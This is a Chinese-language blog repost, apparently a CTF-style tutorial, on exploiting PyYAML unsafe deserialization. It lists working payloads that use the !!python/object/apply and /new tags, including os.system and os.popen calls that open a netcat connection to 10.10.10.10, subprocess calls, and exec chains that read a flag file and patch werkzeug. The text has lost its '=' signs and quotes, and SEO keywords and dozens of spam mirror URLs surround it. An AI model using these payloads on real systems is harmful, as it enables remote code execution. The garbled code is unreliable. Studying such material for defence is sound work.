整容网站模板,网站建设实践收获,wordpress导航站源码,ai智能写作一键生成PyYAML存在以下几个特殊标签,如果这些标签被不安全的解析,会造成解析漏洞 从 PyYaml 版本 6.0 开始#xff0c;load 的默认加载器已切换到 SafeLoader#xff0c;以降低远程代码执行的风险。更新后易受攻击的是 yaml.unsafe_load 和 yaml.load(input, Loaderyaml.UnsafeLoade…PyYAML存在以下几个特殊标签,如果这些标签被不安全的解析,会造成解析漏洞 从 PyYaml 版本 6.0 开始load 的默认加载器已切换到 SafeLoader以降低远程代码执行的风险。更新后易受攻击的是 yaml.unsafe_load 和 yaml.load(input, Loaderyaml.UnsafeLoader) 1.!!python/object: !!python/object 标签指示 YAML 解析器应该将对应的 YAML 片段解析为一个 Python 对象 import yaml class MyClass: def __init__(self, attribute1, attribute2): self.attribute1 attribute1 self.attribute2 attribute2 def __repr__(self): return fMyClass(attribute1{self.attribute1}, attribute2{self.attribute2}) # 创建一个对象
obj MyClass(value1, value2) # 序列化对象为 YAMLyaml_str yaml.dump(obj)
print(yaml_str)!!python/object:__main__.MyClass
attribute1: value1
attribute2: value22.!!python/object/apply: !!python/object/apply 标签在 YAML 中用于表示调用一个可调用对象例如函数或构造函数并将其结果表示为一个对象。 import yaml yaml.load(!!python/object/apply:print [\Hello,Word\], Loaderyaml.UnsafeLoader)import yaml yaml.load(
!!python/object/apply:print
- hello world
, Loaderyaml.UnsafeLoader)利用
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system [nc 10.10.10.10 4242]
!!python/object/apply:os.popen [nc 10.10.10.10 4242]
.....3.!!python/name:
查看以下 YAML 数据
!!python/name:math.pi在这个例子中!!python/name:math.pi 标签指向了 Python 的 math 模块中的 pi 常量。反序列化过程中PyYAML 会将其解析为 math.pi 的值即圆周率 3.141592653589793。
假设你有一个 Python 函数 add你想在 YAML 中引用它
# example.pydef add(a, b):return a b你可以在 YAML 文件中这样写
!!python/name:example.add在反序列化时这个 YAML 数据会被解释为 example 模块中的 add 函数。
4.!!python/object/new: !!python/object/new:允许直接创建新的 Python 对象而不是通过调用构造函数 语法结构
!!python/object/new 标记的 YAML 语法结构如下
!!python/object/new:class
args:- arg1- arg2
state:attribute1: value1attribute2: value2在这个结构中
class 是你想要创建的类的全限定名。args 是一个列表包含传递给新对象 new 方法的参数。state 是一个映射包含对象的属性和值。
利用
!!python/object/new:subprocess [[ls,-ail]]
!!python/object/new:subprocess.check_output [[ls,-ail]]或更复杂的利用
!!python/object/new:str
state: !!python/tuple
- print(getattr(open(flag\x2etxt), read)())
- !!python/object/new:Warningstate:update: !!python/name:exec!!python/object/new:str 这一标签告诉 PyYAML 创建一个新的 Python str 对象。!!python/object/new:ClassName 是 PyYAML 的特殊标签用于通过调用类的 __new__ 方法创建对象。 state: !!python/tuple 这是为 str 对象设置一个属性 state其值是一个 Python 元组tuple update: !!python/name:exec 这一部分创建了一个新的 Warning 对象并为其设置了一个 state 属性。state 属性是一个字典其中 update 键被赋值为 exec 函数。
这段数据等价于
Warning.update(print(getattr(open(flag.txt), read)()))由于 Warning.update 被指向了 exec 函数这实际上变成了
exec(print(getattr(open(flag.txt), read)()))还有更多用法
!!python/object/new:typeargs:- exp- !!python/tuple []- {extend: !!python/name:exec }listitems: |python code替换server_version常量
!!python/object/new:typeargs:- exp- !!python/tuple []- {extend: !!python/name:exec }listitems: |ropen(/flag).read()import werkzeugsetattr(werkzeug.serving.WSGIRequestHandler, server_version,r )References
PayloadsAllTheThings/Insecure Deserialization/Python.md at master · swisskyrepo/PayloadsAllTheThings · GitHub Python Yaml Deserialization - hacktricks.xyz YAML Deserialization Attack in Python - Manmeet Singh Ashish Kukret - November 13 PyYAML Documentation Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021 [CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version 5.1.2 - _j0lt DASCTF2024最后一战寒夜破晓冬至终章 官方WP 本文由A5rZ,整理编写
文章转载自: http://www.morning.kxryg.cn.gov.cn.kxryg.cn http://www.morning.tgyzk.cn.gov.cn.tgyzk.cn http://www.morning.zrgx.cn.gov.cn.zrgx.cn http://www.morning.dkqbc.cn.gov.cn.dkqbc.cn http://www.morning.gyzfp.cn.gov.cn.gyzfp.cn http://www.morning.lysrt.cn.gov.cn.lysrt.cn http://www.morning.rcntx.cn.gov.cn.rcntx.cn http://www.morning.krnzm.cn.gov.cn.krnzm.cn http://www.morning.ybgcn.cn.gov.cn.ybgcn.cn http://www.morning.rjmd.cn.gov.cn.rjmd.cn http://www.morning.mxhys.cn.gov.cn.mxhys.cn http://www.morning.sgpnz.cn.gov.cn.sgpnz.cn http://www.morning.ldsgm.cn.gov.cn.ldsgm.cn http://www.morning.mrpqg.cn.gov.cn.mrpqg.cn http://www.morning.tjsxx.cn.gov.cn.tjsxx.cn http://www.morning.gywxq.cn.gov.cn.gywxq.cn http://www.morning.fjptn.cn.gov.cn.fjptn.cn http://www.morning.nhzzn.cn.gov.cn.nhzzn.cn http://www.morning.27asw.cn.gov.cn.27asw.cn http://www.morning.crrmg.cn.gov.cn.crrmg.cn http://www.morning.wrcgy.cn.gov.cn.wrcgy.cn http://www.morning.ykyfq.cn.gov.cn.ykyfq.cn http://www.morning.gzttoyp.com.gov.cn.gzttoyp.com http://www.morning.hlppp.cn.gov.cn.hlppp.cn http://www.morning.pyncx.cn.gov.cn.pyncx.cn http://www.morning.etsaf.com.gov.cn.etsaf.com http://www.morning.zylrk.cn.gov.cn.zylrk.cn http://www.morning.wqnc.cn.gov.cn.wqnc.cn http://www.morning.sgpny.cn.gov.cn.sgpny.cn http://www.morning.qxgmp.cn.gov.cn.qxgmp.cn http://www.morning.ffgbq.cn.gov.cn.ffgbq.cn http://www.morning.gwgjl.cn.gov.cn.gwgjl.cn http://www.morning.elbae.cn.gov.cn.elbae.cn http://www.morning.lqrpk.cn.gov.cn.lqrpk.cn http://www.morning.rsmtx.cn.gov.cn.rsmtx.cn http://www.morning.tpnx.cn.gov.cn.tpnx.cn http://www.morning.hffjj.cn.gov.cn.hffjj.cn http://www.morning.hxcrd.cn.gov.cn.hxcrd.cn http://www.morning.rfwkn.cn.gov.cn.rfwkn.cn http://www.morning.rykmz.cn.gov.cn.rykmz.cn http://www.morning.jzfrl.cn.gov.cn.jzfrl.cn http://www.morning.jpbpc.cn.gov.cn.jpbpc.cn http://www.morning.fldrg.cn.gov.cn.fldrg.cn http://www.morning.znpyw.cn.gov.cn.znpyw.cn http://www.morning.lgphx.cn.gov.cn.lgphx.cn http://www.morning.nlrp.cn.gov.cn.nlrp.cn http://www.morning.hbtarq.com.gov.cn.hbtarq.com http://www.morning.plfrk.cn.gov.cn.plfrk.cn http://www.morning.xfcjs.cn.gov.cn.xfcjs.cn http://www.morning.ktnt.cn.gov.cn.ktnt.cn http://www.morning.pxbky.cn.gov.cn.pxbky.cn http://www.morning.fxjnn.cn.gov.cn.fxjnn.cn http://www.morning.pzlcd.cn.gov.cn.pzlcd.cn http://www.morning.qhrsy.cn.gov.cn.qhrsy.cn http://www.morning.0small.cn.gov.cn.0small.cn http://www.morning.glnfn.cn.gov.cn.glnfn.cn http://www.morning.bwqcx.cn.gov.cn.bwqcx.cn http://www.morning.rczrq.cn.gov.cn.rczrq.cn http://www.morning.lffgs.cn.gov.cn.lffgs.cn http://www.morning.tllhz.cn.gov.cn.tllhz.cn http://www.morning.jqmmf.cn.gov.cn.jqmmf.cn http://www.morning.ddxjr.cn.gov.cn.ddxjr.cn http://www.morning.lhwlp.cn.gov.cn.lhwlp.cn http://www.morning.dxrbp.cn.gov.cn.dxrbp.cn http://www.morning.mcbqq.cn.gov.cn.mcbqq.cn http://www.morning.sffwz.cn.gov.cn.sffwz.cn http://www.morning.xtyyg.cn.gov.cn.xtyyg.cn http://www.morning.jfjbl.cn.gov.cn.jfjbl.cn http://www.morning.mkydt.cn.gov.cn.mkydt.cn http://www.morning.zsyrk.cn.gov.cn.zsyrk.cn http://www.morning.mbmtz.cn.gov.cn.mbmtz.cn http://www.morning.lmxrt.cn.gov.cn.lmxrt.cn http://www.morning.txgjx.cn.gov.cn.txgjx.cn http://www.morning.qtzk.cn.gov.cn.qtzk.cn http://www.morning.zlxkp.cn.gov.cn.zlxkp.cn http://www.morning.kqyyq.cn.gov.cn.kqyyq.cn http://www.morning.hxcrd.cn.gov.cn.hxcrd.cn http://www.morning.cwqln.cn.gov.cn.cwqln.cn http://www.morning.pgrsf.cn.gov.cn.pgrsf.cn http://www.morning.kysport1102.cn.gov.cn.kysport1102.cn